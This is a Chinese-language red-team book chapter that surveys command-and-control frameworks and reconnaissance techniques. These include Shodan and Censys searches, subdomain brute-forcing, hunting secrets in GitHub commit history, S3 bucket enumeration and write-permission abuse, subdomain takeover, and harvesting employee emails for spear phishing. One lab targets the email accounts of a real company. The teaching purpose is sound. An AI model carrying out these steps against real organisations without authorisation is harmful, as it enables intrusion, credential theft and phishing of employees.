正如在p0wnedShell的GitHub页面所介绍的,这个工具是用C#编写的用于攻击目的的PowerShell主机应用程序,它不依赖于powershell.exe,而是在PowerShell运行空间环境(.NET)中运行PowerShell命令和函数。该工具包含许多攻击PowerShell模块和二进制模块,使后期漏洞利用过程更加容易。我们尝试的是建立一个“一体化”的包含所有相关工具的后漏洞利用工具,并借助它绕过所有安全防护机制(或至少绕过一些)。您可以使用p0wnedShell在活动目录环境中执行各种攻击,使防御团队产生防范意识,从而帮助他们构建正确的防御策略。
Pupy 是一个开源、跨平台(Windows、Linux、macOS和Android)远程管理和后漏洞利用工具,主要用Python语言编写。
Pupy 的一个非常棒的功能是,您可以在所有代理上运行Python脚本,而无须在所有主机上实际安装Python。因此,Pupy是一个很方便的工具,能够帮助用户实现在自定义框架中编写大量攻击脚本的目的。
PoshC2是一个代理,自适应命令和控制框架,完全用PowerShell编写,可以帮助渗透测试人员与红队开展团队合作,开展后漏洞利用和横向移动操作。PoshC2工具和模块是在PowerShell会话和Metasploit框架的静荷类型的基础上开发的。选择PowerShell作为基本语言,是因为它提供了所需的所有功能和丰富的特性,并且框架无须引入多种语言。
Merlin基于最近开发的HTTP/2(RFC7540)协议。Per Medium解释:“HTTP/2通信是多路复用的,双向连接不会在一个请求和响应之后结束。此外,HTTP/2是一个二进制协议,具有更紧凑、易于解析等特点,不使用协议解析工具则无法理解HTTP/2内容。”
Merlin是一个用Go语言编写的工具,界面和使用方法类似于PowerShell Empire,并且允许使用轻量级代理。它不支持任何类型的后漏洞利用模块,因此必须独立完成后续工作。
Nishang是一个包含大量脚本和静荷的框架,可以使用PowerShell开展攻击检测、渗透测试和红队行动。Nishang在渗透测试的所有阶段都很有用。
虽然Nishang实际上是一个令人惊叹的PowerShell脚本的集合,但是也包括一些轻量级命令和控制的脚本。
现在,您终于完成了工具和服务器配置,准备开始“战斗”。为各种场景做好准备可以帮助您“规避”网络检测工具、协议禁用以及基于主机的安全防护工具。
对于本书中的实验,我创建了基于Kali Linux的完整虚拟机,包括各种工具。在黑客秘笈压缩包中,有一个名为List_of_Tools.txt的文本文件,其中包括了所有添加的工具。默认用户名/密码是root/toor。
在本书上一版中,这一章重点介绍如何使用不同的工具,如Recon-NG、Discover、Spiderfoot、Gitrob、Masscan、Sparta、HTTP屏幕截图、漏洞扫描和Burp Suite等工具。我们使用这些工具从外网或者内网,对被攻击者的基础网络实施侦察或扫描操作。我们将继续这一传统,从红队的角度进入侦察阶段。
红队通常需要开展攻击。您不仅需要时刻准备好攻击基础架构,还需要不断地寻找漏洞。您可以使用各种工具扫描网络环境、查找服务和云配置错误等,完成操作。通过这些操作,您可以收集有关被攻击者基础网络的大量信息,并找到直接的攻击途径。
对于所有的客户,我们要做的第一件事就是设置不同的监控脚本。这些通常只是快速执行的bash脚本,脚本的功能是每天通过电子邮件向我们发送客户网络的变化。当然,在扫描之前,请确保您具有执行扫描的合法授权。
对于通常不是很大的客户端网络,我们设置简单的定时任务来执行外部端口差异化的比较。例如,我们可以在Linux系统中创建一个快速bash脚本,完成这项烦琐的工作(记得替换IP地址范围)。
这是一个非常简单的脚本,功能是每天运行Nmap工具,扫描默认端口,然后使用ndiff工具比较结果,如图2.1所示。获得脚本输出的结果后,通知我们的团队每天发现的新端口。
在本书上一版中,我们讨论了Masscan工具的优点以及它的扫描速度。Masscan的开发人员表示,如果拥有足够的网络带宽,您可以在6 min内完成整个互联网扫描。Masscan工具存在的一个问题是,大范围扫描时可靠性无法保证。Masscan工具对于我们前期的侦察很有帮助,但通常不用于端口差异的比较。
实验
本书中的实验是完全可选的。一些章节中已经介绍了用于执行测试的附加实验或者是您可以拓展的领域。由于这完全是为了学习和发现自己的兴趣点,强烈建议您花些时间更好地使用我们的工具,并在社区中分享工具的使用方法。
图2.1
搭建更详细的网络差异扫描器。
除定期扫描开放端口/服务外,红队还需要监控不同的网站应用程序。我们可以使用两个工具监控网站应用程序的变化。
第一个常用的网页截图工具是HTTPScreenshot。HTTPScreenshot的功能非常强大,它使用Masscan工具快速扫描大型网络,并使用PhantomJS工具记录检测到的任何网站的屏幕截图,如图2.2所示。这是快速获取大型内部或外部网络架构的好方法。
请记住,本书中提到的所有工具都运行在定制的Kali虚拟机中。
图2.2
我推荐的另一个网页截图工具是Eyewitness。Eyewitness是很好的工具,它能够识别Nmap工具输出的XML文件,输出的结果包括截屏网页、RDP服务器和VNC服务器等信息,如图2.3所示。
实验
图2.3
随着越来越多的公司开始使用各种云基础架构,网络中出现了许多新的攻击方式。这通常是由于配置错误以及不了解他们的云基础架构到底面临什么困境造成的。无论是亚马逊EC2、Azure、谷歌云还是其他一些云服务商,都存在此类问题,这个问题已成为全球性的问题。
对于红队来说,面临的难题是如何在不同的云环境中进行搜索。由于许多用户使用动态IP,因此他们的服务器IP地址不仅快速变化,而且也没有在云服务商的固定地址范围列表中。例如,如果您使用AWS云服务(AWS云服务在全球范围内拥有巨大的IP地址范围),那么根据选择的区域,您的服务器可能被设置在/13掩码地址范围内。对于局外人来说,查找和监控这些服务器并不容易。
首先,确定不同云服务商拥有的IP范围,如Amazon、Azure和Google Cloud。
你可以看出这些地址范围很大,手动扫描非常困难。在本章中,我们将介绍如何获取有关这些云系统的信息。
如何找到云服务器?互联网上有大量免费的资源,我们可以基于这些资源对目标进行侦察。我们可以使用Google以及第三方扫描服务等方式。利用这些资源,我们无须主动探测,便能够深入地了解公司,查找服务器、开放服务、旗标和其他详细的信息。目标公司永远不会知道您查询过这类信息。作为红队,下面我们来了解如何利用这些资源。
Shodan是一项非常棒的服务,它定期扫描互联网,抓取旗标、端口和网络等多种信息。Shodan甚至还搜索漏洞信息,例如“心脏滴血”漏洞。Shodan的一个危险的用途就是查找未设置口令的网络摄像头,查看摄像头的内容。从红队的角度来看,我们希望找到有关被攻击者的信息。
一些基本的搜索查询如下。
我们可以在Shodan上搜索cyberspacekittens。
我注意到Shodan的扫描速度有点慢。它需要一个多月的时间才能扫描完我的服务器信息并放入Shodan数据库。
Censys会持续监控互联网上每个可访问的服务器和设备,因此您可以实时搜索和分析它们。您将能够了解自身网络的攻击面,发现新威胁并评估其全面的影响。Censys 极具特色的功能之一是它能从SSL证书中获取信息。通常,红队的主要困难之一是找到被攻击者的服务器在云服务器上的位置。幸运的是,我们可以使用Censys.io来查找这些信息,因为Censys已经解析了这些数据。
Censys.io扫描存在的一个问题是扫描可能需要几天或几周的时间。在这种情况下,需要一天的时间来扫描标题信息。此外,在我的网站上创建SSL证书后,信息显示在Censys.io网站上需要4天的时间。在数据准确性方面,Censys.io非常可靠。
下面,我们扫描目标cyberspacekittens.com,查找有关信息。通过解析服务器的SSL证书,我们能够确定目标服务器是在AWS上托管的,如图2.4所示。
图2.4
还有一个Censys脚本工具,可以通过脚本化过程查询子域名。
我们发现大多数公司几乎不会意识到自己在互联网上暴露了什么内容。特别是随着云服务应用的增加,许多公司并没有正确采取访问权限控制措施。这些公司认为自己的服务器已经受到保护,但是我们发现很多服务是对外开放的。这些服务包括Redis数据库、Jenkin服务器、Tomcat管理和NoSQL数据库等。其中许多服务导致远程代码执行或个人身份信息失窃。
查找这些云服务器时,一种方法是在互联网上以自动方式人工获取SSL证书。我们根据云服务商提供的IP地址范围列表,定期扫描所有这些地址范围并下载SSL证书。通过查看SSL证书,我们可以了解关于一个组织的大量信息。针对网络安全猫公司IP地址的范围开展扫描,我们可以看到证书中的主机名,.int是内部服务器,.dev是研发主机,vpn是VPN服务器等,如图2.5所示。很多时候,您可以获得内部主机名,这些主机可能没有公共IP或内网允许访问的白名单IP地址。
图2.5
为了实现通过扫描获取证书中的主机名,为本书开发了sslScrape工具。该工具利用Masscan快速扫描大型网络。它能够识别端口443上的服务,并提取证书中的主机名,如图2.6所示。
图2.6
开始运行sslScrape。
本书提供了示例和工具框架。但是,这些代码是否需要进一步开发取决于您。我强烈建议您将此代码作为基础,将所有主机名保存到数据库,开发网站前端交互界面,连接可能具有证书的其他端口,例如8443等,甚至可能会挖掘一些漏洞,例如.git/.svn类型漏洞。
在识别IP范围方面,我们通常可以从公共资源中查找公司的信息,例如美洲互联网号码注册管理机构(ARIN)。我们可以查询IP地址空间的注册人员,搜索公司拥有的网络,按组织查找自治系统编号等。如果我们在北美以外的地区寻找,那么可以通过AFRINIC(非洲)、APNIC(亚洲)、LACNIC(拉丁美洲)和RIPE NCC(欧洲)查询。这些机构都是可供公开查询的,在它们的服务器上可以进行检索。
您可以通过许多可用的公共资源,查询任何主机名或正式域名,获取该域的所有者。您在这些地方查询不到子域名的信息。子域名信息存储在目标的DNS服务器上,而不是在某些集中的公共注册系统上。您必须知道如何搜索才能找到有效的子域名。
为什么找到目标服务器子域名如此重要?有以下几个原因。
在本书上一版中我们已经做了一些介绍,下面让我们回顾一下当前使用和新出现的工具,从而能够更好地开展子域名发现。欢迎加入并扫描cyberspacekittens.com域名。
发现脚本工具是我很喜欢的一个侦察/发现工具,在本书上一版中已经讨论过。我喜欢使用它的原因是它集成了Kali Linux中的多个侦察工具,并且定期维护。被动域名侦察将使用以下工具:ARIN、dnsrecon、goofile、goog-mail、goohost、theHarvester、Metasploit、URLCrazy、Whois、多个网站和recon-ng等。
Discover脚本的最大优点是它能够搜集所需的信息,并根据这些信息继续搜索。例如,脚本搜索公共PGP存储库,在识别出电子邮件后,通过邮件地址在“Have I Been Pwned”网站继续搜索(使用Recon-NG脚本)。这样我们就可以第一时间知道这些邮件口令是否已经被公开泄露(您也要查询一下自己的邮件口令是否已经泄露)。
接下来,我们希望了解公司使用的所有服务器和域名。虽然子域名不是集中存储,但是我们可以使用工具(如Knock)暴力破解不同类型的子域名,从而可以识别哪些服务器或主机可能遭受攻击。
Knockpy是一个Python工具,通过字典枚举目标域名的子域名。
Knock 是一个很棒的子域名扫描工具,通过字典枚举子域名,并判断是否可以解析。因此,如果您想了解cyberspacekittens.com子域名,那么利用Knock工具获取下面网址的字典,并查看是否存在[subdomain] .cyberspacekittens.com子域名。这里需要注意的是,Knock 的扫描效果取决于您的字典。因此,拥有更好的字典将大大增加发现子域名的可能性。
我最喜欢的子域名字典是由jhaddix生成的。您需要持续搜集子域名来生成字典。您可以在本书虚拟机镜像中找到其他字典,位置是/opt/SecLists。
实验
找到cyberspacekittens.com的所有子域名。
您是否从Discover脚本中发现了各种类型域名的差异?哪些类型的域名将是您“攻击”的首选目标或者可用于鱼叉式网络钓鱼攻击?到实际的网络环境中进行尝试吧。您可以参加一个漏洞悬赏项目,开始搜索有趣的子域名。
前面已经说过,Knock存在的问题是子域名搜索效果与字典直接相关。有些公司设置了非常独特的子域名,这些子域名无法在常用的字典中找到。我们还可以利用搜索引擎。随着网站的信息被抓取,通过分析带有链接的文件,我们就可以获取很多网站的公共资源,这意味着我们可以使用搜索引擎完成这些烦琐的工作。
这就是我们使用Sublist3r之类的工具的原因。请注意,使用Sublist3r这样的工具对应不同的“google dork”搜索查询,这种操作方式看起来像机器人操作。这可能会使您暂时被列入黑名单,并需要在每次请求时填写验证码,从而影响扫描结果。下面运行Sublister。
您是否注意到暴力破解子域名可能不会有任何结果?在漏洞悬赏项目中进行实验,查看暴力破解和使用搜索引擎之间的巨大差异。
最后介绍的一个子域名搜索工具是SubBrute。SubBrute是一个社区项目,其目标是创建最快、最准确的子域名枚举工具。SubBrute工具的神奇之处在于它使用开放式解析器作为代理,从而规避DNS查询速率限制。
工具设计采用了一个匿名层,因为 SubBrute 不会将流量直接发送到目标名称服务器。
SubBrute不仅速度极快,而且还具有DNS爬虫特性,能够抓取DNS记录。下面运行SubBrute。
我们还可以拓展SubBrute功能,将其与MassDNS结合使用,从而实现非常高效的DNS解析。
GitHub是一个不可思议的数据宝库。我们进行了大量的渗透测试和红队评估,从而获得了密码、API密钥、旧的源代码和内部主机名/IP地址等。这些信息可用于直接控制目标或者为下一次攻击提供帮助。我们看到的是,许多开发人员要么将代码推送到错误的仓库(将其发送到公共存储库而不是公司的私有存储库),要么不小心推送了敏感材料(如密码),然后尝试将其删除。GitHub 的一个特点是它可以在每次修改或删除代码时进行跟踪。这意味着即使仅一次将敏感代码推送到存储库并且删除了敏感文件,仍可以在代码更改记录中找到敏感代码。只要存储库是公共的,您就可以查看所有这些更改。
我们可以使用GitHub搜索,甚至只使用简单的Google Dork搜索识别特定的主机名/组织名称。
与其搜索以下示例中的cyberspacekittens,不如尝试使用不同的搜索引擎搜索漏洞悬赏项目。
如前所述,当您在GitHub中编辑或删除文件时,所有的操作都被记录下来。幸运的是,在红队中,很多人都忘记了这个功能。因此,我们经常看到有人将敏感信息放入GitHub,删除它,并没有意识到它仍然存在!让我们看看是否能找到一些这样的信息。
Truffle Hog工具能够扫描不同的提交历史记录,查找高熵值的密钥,并打印这些内容。它非常适合用来查找密码、口令和密钥等。我们来看一看能否在cyberspacekittens的GitHub 存储库中找到一些“秘密”。
实验
正如我们在图2.7所示的提交历史记录中看到的那样,AWS密钥和SSH密钥已从server/controller/ csk.config中删除。
图2.7
更好的工具是git-all-secrets(但设置起来有点复杂)。git-all-secrets适合用于查找大型组织。您可以指定一个组织,在本地复制代码,然后使用Truffle-hog和repo-supervisor工具进行扫描。您首先需要创建一个GitHub访问令牌,操作过程是创建GitHub并在设置中选择Generate New Token。
运行git-all-secrets。
前面提到过,许多公司云服务的配置不正确,导致出现安全漏洞。常见问题如下。
在开始测试不同AWS容器上的错误配置之前,我们需要先识别它们。下面我们尝试使用几种不同的工具,发现目标AWS基础架构的内容。
有许多工具可以枚举AWS的S3容器。这些工具通常采用关键字或列表,应用多个排列,然后尝试识别不同的容器。例如,我们可以使用一个名为Slurp的工具来查找有关目标CyberSpaceKittens的信息,如图2.8所示。
图2.8
另一个工具Bucket Finder不仅会尝试查找不同的容器,而且会从这些容器中下载所有内容进行分析,如图2.9所示。
图2.9
现在我们查明了Cyber Space Kittens的基础架构,并确定了其中一个S3容器。在获取S3容器内容(有的能看到,有的看不到)时,您的第一步是做什么?您可以先在浏览器中输入网址,查看一些信息,如图2.10所示。
图2.10
在开始之前,我们需要创建一个AWS账户,获取访问密钥ID。您可以从亚马逊网站免费获取您的账户。创建账户后,登录AWS,获取您的安全凭证和访问密钥。一旦您获得AWS Access ID和密钥,就可以查询申请的S3容器了。
查询S3容器并下载所有内容。
在查询S3容器之后,接下来要测试的是该容器的写入权限。如果我们具有写访问权限,则可以完全控制容器中的应用程序。我们经常看到,当存储在S3容器中的文件在所有页面上使用时(如果我们可以修改这些文件),我们可以将恶意代码复制到Web应用程序服务器。
写入S3,如图2.11所示。
注意,写权限已从Everyone组中删除。这只是为了演示。
图2.11
在分析AWS安全性时,我们需要检查对象和容器的权限控制。对象是单个文件,容器是逻辑存储单元。如果配置不正确,这两个权限可能会被用户任意修改。
首先,我们查看每个对象,检查是否正确配置了这些权限。
我们看到该文件只能由名为“secure”的用户写入,并未对所有人开放。如果我们具有写访问权限,则可以使用s3api中的put-object函数来修改该文件。
接下来,我们来查看是否可以修改容器。这可以通过以下方式实现,如图2.12所示。
图2.12
同样,在这两种情况下,READ是全局许可的,但只有名为“secure”的账户才具有完全控制或任意写的权限。如果我们访问容器,那么可以使用--grant-full-control来完全控制容器和对象。
子域名劫持是常见的漏洞,近期我们发现很多公司有这个漏洞。如果一家公司使用第三方CMS/内容/云服务商,将子域名指向这些服务商的平台,会发生什么情况?如果该公司忘记配置第三方服务或者忘记注销服务,攻击者可以从第三方服务商接管该子域名。
例如,您注册名为testlab.s3.amazonaws.com的S3 Amazon容器。然后,您的公司的子域名testlab.company.com指向testlab.s3.amazonaws.com。一年后,您不再使用S3容器,并取消了testlab.s3.amazonaws.com注册,但忘记了testlab.company.com的别名记录的重定向配置。现在有人可以访问AWS并重新申请testlab.s3.amazon.com,并在被攻击者的域上拥有有效的S3容器。
tko-subs工具可以检测子域名劫持漏洞。我们可以使用这个工具,检查任何指向CMS服务商(Heroku、GitHub、Shopify、Amazon S3、Amazon CloudFront等)的子域名是否可以被劫持。
运行tko-subs。
如果找到一个未注册的别名记录,那么可以使用tko-subs来接管GitHub页面和Heroku应用程序。否则,我们需要手动完成。以下两个工具也具有域名劫持功能。
社会工程攻击的很大一部分工作是搜索电子邮件地址和员工姓名。在前面的章节中,我们提到了Discover Script,这个工具非常适合搜集电子邮件和员工姓名等数据。我通常首先使用Discover脚本,然后再使用其他工具挖掘数据。每个工具的工作方式略有不同,尽可能多地使用这些工具是非常有帮助的。
获得一些电子邮件后,最好了解目标的电子邮件命名格式。目标是采用姓.名@ cyberspacekitten.com还是初始.姓@ cyberspacekittens.com的命名方式?一旦找出邮件的命名格式,我们就可以使用像LinkedIn这样的工具,找到更多的员工姓名,并尝试识别他们的电子邮件地址。
我们都知道,鱼叉式网络钓鱼仍然是非常有效的攻击方式。如果我们未发现公司网络的任何漏洞,那么只能“攻击”公司的员工。要构建一个有效的电子邮件地址列表,我们可以使用SimplyEmail工具。这个工具能够输出公司的电子邮件地址格式和有效用户列表。
实验
查找cnn.com的所有电子邮件账户。
这可能需要运行很长时间,因为SimplyEmail工具会检索Bing、Yahoo、Google、Ask Search、PGP Repos和文件等,如图2.13所示。这也可能使您的网络看起来像搜索引擎的机器人,由于SimplyEmail工具会发起非常多的搜索请求,因此可能需要验证码。
图2.13
对您的公司进行这种检测。您是否看到了熟悉的电子邮件地址?这些邮件地址将是后续行动中的攻击目标。
获取电子邮件地址的一种方法是持续监控和关注之前的泄露事件。我不想直接提供泄露文件的链接,但我会提供这些事件的名称。
我不知道在哪里放置这些资源,但是我想提供一些其他红队攻击活动的资源。这有助于识别人员、位置、域名信息、社交媒体和图像分析等。
在本章中,我们简要介绍了各种不同的侦察策略和使用的工具。这只是一个开始,因为有太多工作需要手动完成,而且执行要花费大量时时间。您可以进阶到下一阶段,优化这些工具的自动化过程,使侦察变得快速而且高效。